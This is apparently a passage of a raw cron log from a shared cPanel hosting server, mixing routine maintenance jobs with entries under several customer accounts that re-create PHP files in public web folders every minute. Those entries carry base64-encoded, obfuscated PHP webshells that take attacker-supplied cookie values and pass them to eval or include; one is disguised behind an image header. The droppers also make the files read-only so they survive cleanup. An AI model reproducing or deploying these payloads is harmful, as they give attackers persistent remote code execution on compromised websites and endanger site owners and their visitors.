5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:57:01 medusa CROND[26772]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:57:01 medusa CROND[26773]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:57:01 medusa CROND[26775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:57:01 medusa CROND[26777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:58:01 medusa CROND[1994]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:58:01 medusa CROND[1995]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 02:58:01 medusa CROND[1996]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:58:01 medusa CROND[1998]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 02:58:01 medusa CROND[2000]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:58:01 medusa CROND[2002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:58:01 medusa CROND[2004]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:58:01 medusa CROND[2005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:58:01 medusa CROND[2006]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:58:01 medusa CROND[2011]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:58:01 medusa CROND[2009]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:58:01 medusa CROND[2012]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:58:01 medusa CROND[2010]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:58:01 medusa CROND[2018]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:59:01 medusa CROND[8859]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:59:01 medusa CROND[8860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:59:01 medusa CROND[8861]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:59:01 medusa CROND[8862]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 02:59:01 medusa CROND[8863]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:59:01 medusa CROND[8865]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:59:01 medusa CROND[8866]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:59:01 medusa CROND[8873]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:59:01 medusa CROND[8875]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:59:01 medusa CROND[8876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:59:01 medusa CROND[8877]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:59:01 medusa CROND[8884]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:00:01 medusa CROND[14572]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 03:00:01 medusa CROND[14596]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 03:00:01 medusa CROND[14623]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:00:02 medusa CROND[14882]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 03:00:02 medusa CROND[14883]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 03:00:02 medusa CROND[14884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:00:02 medusa CROND[14887]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 03:00:02 medusa CROND[14892]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
